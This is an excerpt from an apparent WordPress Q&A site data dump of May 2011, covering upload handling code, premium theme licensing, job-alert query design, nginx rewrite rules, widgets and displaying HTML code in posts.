  <row Id="17872" PostTypeId="2" ParentId="17870" CreationDate="2011-05-21T12:09:09.460" Score="1" ViewCount="" Body="&lt;p&gt;Look into the first lines of this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function media_handle_upload(&#xA;    $file_id, &#xA;    $post_id, &#xA;    $post_data = array(), &#xA;    $overrides = array( 'test_form' =&amp;gt; false )&#xA;) &#xA;{&#xA;&#xA;    $time = current_time('mysql');&#xA;    if ( $post = get_post($post_id) ) {&#xA;        if ( substr( $post-&amp;gt;post_date, 0, 4 ) &amp;gt; 0 )&#xA;            $time = $post-&amp;gt;post_date;&#xA;    }&#xA;&#xA;    $name = $_FILES[$file_id]['name'];&#xA;    $file = wp_handle_upload($_FILES[$file_id], $overrides, $time);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The time is taken from the post date. You could bypass &lt;code&gt;media_handle_upload()&lt;/code&gt; and use &lt;code&gt;wp_handle_upload()&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I don’t have the time to write a fully working standalone example, but here is an excerpt from my theme options class. It handles uploads, generates different images sizes and an attachment id. It is called by the general save function and handles multiple uploaded files in one rush.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Saves uploaded files in media library and the corresponding id in option field.&#xA; *&#xA; * @return void&#xA; */&#xA;protected function handle_uploads()&#xA;{&#xA;    if ( ! isset ( $_FILES ) or empty ( $_FILES ) )&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    foreach ( $_FILES as $file_key =&amp;gt; $file_arr )&#xA;    {&#xA;        // Some bogus upload.&#xA;        if ( ! isset ( $this-&amp;gt;fields[$file_key] )&#xA;            or empty ( $file_arr['type'] )&#xA;        )&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        if ( ! $this-&amp;gt;is_allowed_mime( $file_key, $file_arr ) )&#xA;        {&#xA;            set_theme_mod( $file_key . '_error', 'wrong mime type' );&#xA;            continue;&#xA;        }&#xA;&#xA;        // The file is allowed, no error until now and the type is correct.&#xA;        $uploaded_file = wp_handle_upload(&#xA;            $file_arr&#xA;        ,   array( 'test_form' =&amp;gt; FALSE )&#xA;        );&#xA;&#xA;        // error&#xA;        if ( isset ( $uploaded_file['error'] ) )&#xA;        {&#xA;            set_theme_mod( $file_key . '_error', $uploaded_file['error'] );&#xA;            continue;&#xA;        }&#xA;&#xA;        // add the file to the media library&#xA;&#xA;        // Set up options array to add this file as an attachment&#xA;        $attachment = array(&#xA;            'post_mime_type' =&amp;gt; $uploaded_file['type']&#xA;        ,   'post_title'     =&amp;gt; $this-&amp;gt;get_media_name(&#xA;                                    $file_key, $uploaded_file['file']&#xA;                                )&#xA;        );&#xA;&#xA;        // Adds the file to the media library and generates the thumbnails.&#xA;        $attach_id = wp_insert_attachment(&#xA;            $attachment&#xA;        ,   $uploaded_file['file']&#xA;        );&#xA;&#xA;        $this-&amp;gt;create_upload_meta( $attach_id, $uploaded_file['file'] );&#xA;&#xA;        // Update the theme mod.&#xA;        set_theme_mod( $file_key, $attach_id );&#xA;        remove_theme_mod( $file_key . '_error' );&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * Adds meta data to the uploaded file&#xA; *&#xA; * @param  int $attach_id&#xA; * @param  string $file&#xA; * @return void&#xA; */&#xA;protected function create_upload_meta( $attach_id, $file )&#xA;{&#xA;    // Create meta data from EXIF fields.&#xA;    require_once ABSPATH . 'wp-admin/includes/image.php';&#xA;    $attach_data = wp_generate_attachment_metadata(&#xA;        $attach_id&#xA;    ,   $file&#xA;    );&#xA;    wp_update_attachment_metadata($attach_id,  $attach_data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;is_allowed_mime()&lt;/code&gt; checks for MIME types set in &lt;code&gt;$fields&lt;/code&gt; which are set in my controller. The MIME type for a favicon for example is either &lt;code&gt;image/x-icon&lt;/code&gt; or &lt;code&gt;image/vnd.microsoft.icon&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_media_name()&lt;/code&gt; may use a predefined name for the attachment (e.g. &lt;em&gt;logo&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;In your function you probably want to return &lt;code&gt;$attach_id&lt;/code&gt; and use it in a post meta field or something similar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-23T10:39:03.333" LastActivityDate="2011-05-23T10:39:03.333" CommentCount="3" />
  <row Id="17873" PostTypeId="1" AcceptedAnswerId="17875" CreationDate="2011-05-21T13:38:15.480" Score="2" ViewCount="66" Body="&lt;p&gt;I'm thinking of doing up a couple of premium themes, and selling copies of them. I've never done anything like this before, so I have a couple of questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate that this is mainly a forum for asking technical questions, so if anyone wants to point me in the direction of somewhere that might be more appropriate for these questions, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question is about copies of a theme. If I sell a copy of a premium theme, and the end result is that a person gets a zip file of my theme, is there any technical way to limit them to only using it in one installation of WordPress? Or do I just rely on the goodness of their hearts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a related question: What kind of license, if any, should I include with a premium theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-05-21T15:41:33.853" Title="Non-technical question - how best to organise a premium theme?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;licensing&gt;&lt;ziparchive&gt;" AnswerCount="2" />
  <row Id="17874" PostTypeId="1" AcceptedAnswerId="17876" CreationDate="2011-05-21T13:57:00.297" Score="0" ViewCount="60" Body="&lt;p&gt;There's a &quot;Jobs&quot; section on my website (custom post type), with various associated taxonomies (language spoken, type of contract, location, etc.) The website also has a very big user base (about 10 000 subscribers). These users have access to a form where they chose &quot;jobs&quot; criterias they are interested in, in order to receive a daily email with the list of &quot;jobs&quot; that correspond to their criterias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have your opinion on the best way to implement that functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first approach is this :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Loop through all the &quot;subscriber&quot; users&lt;/li&gt;&#xA;&lt;li&gt;For each user, get the criterias they have chosen (language, type of contract, city, etc.)&lt;/li&gt;&#xA;&lt;li&gt;with these criterias, make a WP_Query on all the &quot;jobs&quot; published that day&lt;/li&gt;&#xA;&lt;li&gt;send the results by email&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This function would be triggered daily thanks to wp cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My worry is that this is perhaps a very ressource intensive way (that's a loop executing 10 000 different wp_queries in a row!) The website is hosted on a dedicated webserver (quad core with about 8Gigs of ram)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more efficient way ? &lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-05-21T14:02:26.300" Title="What is the most efficient way to execute recursive complex queries?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;loop&gt;&lt;wp-cron&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17875" PostTypeId="2" ParentId="17873" CreationDate="2011-05-21T13:58:40.500" Score="3" ViewCount="" Body="&lt;p&gt;There is no way to prevent the free distribution of your theme. You could make it harder by selling a copy that is restricted to a license key and a salted hash of the domain. But even if you put the code for this in a pre-compiled script it will be possible to get around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sell support, upgrades and reliability, not the naked code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the license: PHP code which is uses WordPress functions and hooks is &lt;a href=&quot;http://wordpress.org/news/2009/07/themes-are-gpl-too/&quot; rel=&quot;nofollow&quot;&gt;GPL per default&lt;/a&gt; by some peoples interpretation.&lt;br&gt;&#xA;For your stylesheets, images and standalone PHP code you can use a different license.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-21T15:31:24.913" LastActivityDate="2011-05-21T15:31:24.913" CommentCount="4" />
  <row Id="17876" PostTypeId="2" ParentId="17874" CreationDate="2011-05-21T14:02:26.300" Score="1" ViewCount="" Body="&lt;p&gt;Make the user query when the job is submitted and put all matching subscribers in a queue. At the end of the day run through the queue once and send the mails.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-21T14:02:26.300" />
  <row Id="17877" PostTypeId="2" ParentId="17852" CreationDate="2011-05-21T14:04:39.543" Score="0" ViewCount="" Body="&lt;p&gt;Use an &lt;a href=&quot;http://sillybean.net/code/wordpress/html-import/&quot; rel=&quot;nofollow&quot;&gt;import plugin&lt;/a&gt; to get the rendered results and import these into WordPress.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-21T14:04:39.543" />
  <row Id="17880" PostTypeId="2" ParentId="15018" CreationDate="2011-05-21T15:34:34.710" Score="4" ViewCount="" Body="&lt;p&gt;Yes. Use it. Edit it however you like. Redistribute it, modified or unmodified. Sell it. The GPL explicitly allows all of these things, provided that any such distribution is done also under GPL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the GPL requires inline-documented author attribution and copyright/license information must remain intact, there is &lt;strong&gt;absolutely nothing wrong&lt;/strong&gt; with removing public-facing &quot;credit links&quot;. Anyone implying otherwise is acting contrary to the &lt;a href=&quot;http://www.gnu.org/philosophy/philosophy.html&quot; rel=&quot;nofollow&quot;&gt;Free Software philosophy&lt;/a&gt; from which the GPL itself is derived.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a developer wishes to compel users to retain a public-facing credit link, then the developer should release his work under a license other than GPL. But to release a work under GPL and then attempt, through appeals to moral propriety, to restrict the very rights granted by that license, is an act that is itself morally repugnant.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-21T15:34:34.710" />
  <row Id="17881" PostTypeId="2" ParentId="17873" CreationDate="2011-05-21T15:41:33.853" Score="0" ViewCount="" Body="&lt;p&gt;I've always thought that if you were going to do multiple themes and generally use some of the same concepts create a Master Theme and GPL and then do child themes that take advantage of the Master Theme, but primarily include CSS for styling the Master Theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should provide you with the GPL theme framework upon which the Wordpress community could be happy as well as Licensable theme from a styling point-of-view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An intellectual property lawyer would have to tell me if I'm wrong, but I think this would provide you with a solid foundation for a licensable product.  From their you could do what Toscho said about keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea that I have had, but am not technical enough to know if it could work is to create external CSS on my site and block all other sites by default.  Then when someone purchases the site - provide that domain access to hit the site and load the CSS.&lt;/p&gt;&#xA;" OwnerUserId="4481" LastActivityDate="2011-05-21T15:41:33.853" CommentCount="1" />
  <row Id="17882" PostTypeId="2" ParentId="16665" CreationDate="2011-05-21T16:00:56.397" Score="0" ViewCount="" Body="&lt;p&gt;Its little short.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function(){&#xA;var tmp = jQuery(&quot;.votes strong&quot;).html();&#xA;jQuery(&quot;.votes&quot;).html('&amp;lt;div class=&quot;calculated-rating&quot;&amp;gt;'+tmp+'&amp;lt;/div&amp;gt;')&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5553" LastActivityDate="2011-05-21T16:00:56.397" CommentCount="1" />
  <row Id="17883" PostTypeId="2" ParentId="17868" CreationDate="2011-05-21T16:42:47.160" Score="1" ViewCount="" Body="&lt;p&gt;I'd say your third option is the way to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, why did you roll your own static cache in &lt;code&gt;taxonomy_image_plugin_get_associations()&lt;/code&gt; instead of using the built-in &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Object_Cache&quot; rel=&quot;nofollow&quot;&gt;WP_Cache API&lt;/a&gt; for that? Is there a reason &lt;code&gt;wp_cache_get&lt;/code&gt; wouldn't work here? Seems like using the WP object cache would optimize better when people do have caching plugins turned on.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-21T16:42:47.160" CommentCount="4" />
  <row Id="17884" PostTypeId="1" CreationDate="2011-05-21T17:23:49.293" Score="0" ViewCount="87" Body="&lt;p&gt;I followed this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16342/how-to-save-the-state-of-a-drag-and-drop-jquery-ui-sortables-front-end-layout-edi&quot;&gt;How to save the state of a drag and drop jQuery UI Sortables front end layout editor?&lt;/a&gt; and was able to get a SINGLE column of list items to save when rearranged just the same as that post is explaining.  I took it further though to make it a connected sortable list &lt;a href=&quot;http://jqueryui.com/demos/sortable/#connect-lists&quot; rel=&quot;nofollow&quot;&gt;http://jqueryui.com/demos/sortable/#connect-lists&lt;/a&gt; and was able to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each list queries and displays different meta data as such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LIST ONE = 'meta_key' =&gt; 'zz_item_type','meta_value' =&gt; 'TypeA' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;LIST TWO = 'meta_key' =&gt; 'zz_item_type','meta_value' =&gt; 'TypeB' &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I move a list item from list one to list two, how do I update that meta data?  Also, this is all happening on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I have to do something in here?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function my_save_item_order() {&#xA;global $wpdb;&#xA;$order = explode(',', $_POST['order']);&#xA;$counter = 0;&#xA;foreach ($order as $item_id) {&#xA;    $wpdb-&amp;gt;update($wpdb-&amp;gt;posts, array( 'menu_order' =&amp;gt; $counter ), array( 'ID' =&amp;gt; $item_id) );&#xA;    $counter++;&#xA;}&#xA;die(1);&#xA;}&#xA;add_action('wp_ajax_item_sort','my_save_item_order');&#xA;add_action('wp_ajax_nopriv_item_sort', 'my_save_item_order');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5563" LastActivityDate="2011-05-21T17:23:49.293" Title="Using Connected Sortable List and need to save the new meta key" Tags="&lt;post-meta&gt;&lt;ajax&gt;&lt;list&gt;&lt;jquery-ui&gt;" />
  <row Id="17885" PostTypeId="1" CreationDate="2011-05-21T18:03:12.453" Score="1" ViewCount="98" Body="&lt;p&gt;I am trying to make a custom message instead of the default message when i save a post, does anybody know how to do it!&lt;/p&gt;&#xA;" OwnerUserId="5564" LastActivityDate="2011-08-22T11:33:23.750" Title="Set custom messages for post update/save" Tags="&lt;update&gt;&lt;save-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17887" PostTypeId="2" ParentId="17885" CreationDate="2011-05-21T18:56:29.433" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at my answer to a very &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15354/passing-error-warning-messages-from-a-meta-box-to-admin-notices/15355#15355&quot;&gt;&lt;strong&gt;similar question&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-21T18:56:29.433" />
  <row Id="17888" PostTypeId="1" AcceptedAnswerId="23900" CreationDate="2011-05-21T19:21:12.487" Score="0" ViewCount="174" Body="&lt;p&gt;I am having trouble with my rewrite rules with my new nginx install. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I access the image manually like here, incredible.devpreview.co/wp-content/blogs.dir/2/files/2011/05/stockvault-colorful-illustration108811.jpg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But WordPress is looking for it here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;incredible.devpreview.co/files/2011/05/stockvault-colorful-illustration108811.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what is in my nginx config file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;&#xA;listen   80;&#xA;server_name  www.devpreview.co;&#xA;rewrite ^/(.*) http://devpreview.co/$1 permanent;&#xA;&#xA;}&#xA;&#xA;&#xA;server {&#xA;&#xA;listen   80;&#xA;server_name devpreview.co *.devpreview.co;&#xA;&#xA;access_log /var/www/devpreview.co/logs/access.log;&#xA;error_log /var/www/devpreview.co/logs/error.log;&#xA;&#xA;location / {&#xA; root   /var/www/devpreview.co/public/;&#xA; index  index.html index.htm index.php;&#xA; if (!-e $request_filename) {&#xA;        rewrite ^.+/?(/wp-.*) $1 last;&#xA;        rewrite ^.+/?(/.*\.php)$ $1 last;&#xA;        rewrite ^(.+)$ /index.php?q=$1 last;&#xA;        }&#xA; }&#xA;&#xA; location ~* ^.+\.(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js)$&#xA;        {&#xA;        root  /var/www/devpreview.co/public/;&#xA;        rewrite ^/.*(/wp-.*/.*\.(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$ $1 last;&#xA;&#xA;        rewrite ^.*/files/(.*(html|jpg|jpeg|gif|png|ico|css|zip|tgz|gz|rar|bz2|doc|xls|exe|pdf|ppt|txt|tar|mid|midi|wav|bmp|rtf|js))$/wp-includes/ms-files.php?file=$1 last;&#xA;        expires 30d;&#xA;        break;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4648" LastActivityDate="2011-07-24T03:14:26.140" Title="Nginx WordPress Multisite Rewrite rules" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;nginx&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17889" PostTypeId="1" AcceptedAnswerId="17919" CreationDate="2011-05-21T19:31:49.823" Score="1" ViewCount="51" Body="&lt;p&gt;I've created a custom widget and placed it in functions.php. You can see the widget here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/3uWpeaFx&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/3uWpeaFx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've also created a similar widget that grabs a random image; it's included with the pastebin.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The widget allows users to plug in up to ten blocks of text/HTML, stores them in an array in JS, and displays one at random using JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are super simple widgets that are based on the default text widget that ships with WP. (I'm no PHP expert, so there's probably a more elegant way to create them, but they're simple to use, which is what the client needed.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using more than one Random Text widget, even on multiple different sidebars displayed on different pages, causes all but the original to return 'undefined'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text that you put in the box seems to store properly, and is editable through the WP admin interface; but when it comes to displaying it on the front-end, it doesn't echo the text properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's something simple that I'm missing in the widget...any clues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5566" LastEditorUserId="5566" LastEditorDisplayName="" LastEditDate="2011-05-21T19:43:17.787" LastActivityDate="2011-05-22T04:54:19.213" Title="Custom random quote widget breaks when used in multiple sidebars" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;functions&gt;&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17890" PostTypeId="1" AcceptedAnswerId="17892" CreationDate="2011-05-21T19:46:04.933" Score="0" ViewCount="112" Body="&lt;p&gt;For example, in portfolio section I want to have 3 images that are positioned always in the same place in all the posts. I know there is a plugin that does this but I need to accomplish this without a plugin.&lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-05-21T19:57:15.007" Title="How to add multiple featured images to post/page without a plugin" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="17891" PostTypeId="1" AcceptedAnswerId="17893" CreationDate="2011-05-21T19:48:25.857" Score="0" ViewCount="53" Body="&lt;p&gt;Some of my clients don't have CPanel access to their WordPress, so I have to copy and paste from the built-in editor to pull out the PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way within that admin interface to grab all the PHP files? I don't have FTP acces.. gr...&lt;/p&gt;&#xA;" OwnerUserId="2438" LastActivityDate="2011-05-21T21:07:51.140" Title="Download PHP and CSS from the Wordpress admin page without FTP" Tags="&lt;ftp&gt;" AnswerCount="1" />
  <row Id="17892" PostTypeId="2" ParentId="17890" CreationDate="2011-05-21T19:57:15.007" Score="3" ViewCount="" Body="&lt;p&gt;The best advice is to use the plugin. I can't think of any reason to rebuild functionality that already works well and exists. If you absolutely need this functionality in the theme, you can include the code from the plugin into your theme by removing the header in the plugin's main file and requiring it in your theme's functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please bear in mind that this is NOT considered as &quot;best practice&quot; and there are a couple of other steps that you will need to take to really make this work well:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the name of all the functions. Adding a prefix like &quot;myplugin_&quot; to all functions should work well. Also, you will want to use this custom prefix on all global variables, class names, settings, localization slugs and anything else that WordPress might &quot;see&quot;. This will avoid clashes in the event that the actual plugin is ever installed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;load_plugin_textdomain() ahould be changed to load_theme_textdomain().&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;plugins_url() will need to be changed to get_template_directory_uri().&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;paths will need to be addressed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At the end of the day, I would strongly urge you to allow your theme to support the plugin and degrade gracefully if the plugin is not installed.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-21T19:57:15.007" />
  <row Id="17893" PostTypeId="2" ParentId="17891" CreationDate="2011-05-21T20:15:41.777" Score="3" ViewCount="" Body="&lt;p&gt;You should demand access to ftp or the command line, working without is is crippling and to be blunt, silly. &lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-21T21:07:51.140" LastActivityDate="2011-05-21T21:07:51.140" CommentCount="1" />
  <row Id="17894" PostTypeId="1" CreationDate="2011-05-21T20:41:25.937" Score="1" ViewCount="338" Body="&lt;p&gt;I'm trying to create an advertisement block to be placed on a single post (single.php) such that the div class or id is left aligned and the post content wrapped around it. I checked the single.php and this is the only piece of code I notice is what displays the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'themejunkie' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried adding the code both above the 'entry-content' div and also after the_content, but with both methods it either displays the div either at the beginning or at the end of the post content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me which files to look into in order to add this?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-21T23:41:50.750" Title="Adding a div class or id inside the_content()" Tags="&lt;posts&gt;&lt;the-content&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="17895" PostTypeId="2" ParentId="17894" CreationDate="2011-05-21T21:05:28.850" Score="0" ViewCount="" Body="&lt;p&gt;You have to put your advertisement block just before &lt;code&gt;&amp;lt;?php the_content(); ?&amp;gt;&lt;/code&gt; in a separate div-layer and add some css to it. E.g.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;single.php&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;entry entry-content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;advertisement&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Your advertisement&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;CSS&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div.advertisement {&#xA;    float: left;&#xA;    width: 150px;&#xA;    padding: 0px 10px 10px 0px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-05-21T21:11:32.103" LastActivityDate="2011-05-21T21:11:32.103" CommentCount="5" />
  <row Id="17896" PostTypeId="1" AcceptedAnswerId="17901" CreationDate="2011-05-21T21:24:57.470" Score="0" ViewCount="148" Body="&lt;p&gt;When you develop a site on wordpress you may want to create posts/pages with the same name, something that wordpress does not allow by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use cases:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; example.com/en/contact&#xA; example.com/fr/contact&#xA; example.com/en/support/contact&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am currently using &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; plugin in order to create multilanguage sites and I encountered this limitation in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem? Do you know any tricks or plugins that would allow me to deal with this problem.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-21T22:07:46.007" LastActivityDate="2011-06-23T13:08:51.910" Title="How to create posts or pages with the names in wordpress?" Tags="&lt;permalinks&gt;&lt;multi-language&gt;&lt;slug&gt;&lt;plugin-wpml&gt;" AnswerCount="1" />
  <row Id="17897" PostTypeId="1" CreationDate="2011-05-21T15:42:51.543" Score="1" ViewCount="89" Body="&lt;p&gt;I am using WordPress, and when I post some post data into my WordPress post, including some html code, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt;&amp;lt;div id=&quot;access&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want the code to be displayed, but the code is not displayed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it work?&lt;/p&gt;&#xA;" OwnerUserId="5456" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-22T06:12:32.263" LastActivityDate="2011-05-22T06:12:32.263" Title="How to use code sample into WordPress post?" Tags="&lt;html&gt;&lt;content&gt;" AnswerCount="4" />
  <row Id="17898" PostTypeId="2" ParentId="17897" CreationDate="2011-05-21T15:45:28.240" Score="2" ViewCount="" Body="&lt;p&gt;You have to escape the &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; signs with their HTML entities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;lt;div id=&quot;access&quot;&amp;amp;gt;&amp;amp;lt;/div&amp;amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the browser doesn't render the code inside of the &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; blocks.&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2011-05-21T15:45:28.240" />
  <row Id="17899" PostTypeId="2" ParentId="17897" CreationDate="2011-05-21T15:48:50.120" Score="0" ViewCount="" Body="&lt;p&gt;Try this plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/preserve-code-formatting/&quot; rel=&quot;nofollow&quot;&gt;Preserve Code Formatting&lt;/a&gt;, Wordpress will tend to strip some html tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can character encode your html tags.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-05-21T15:48:50.120" />
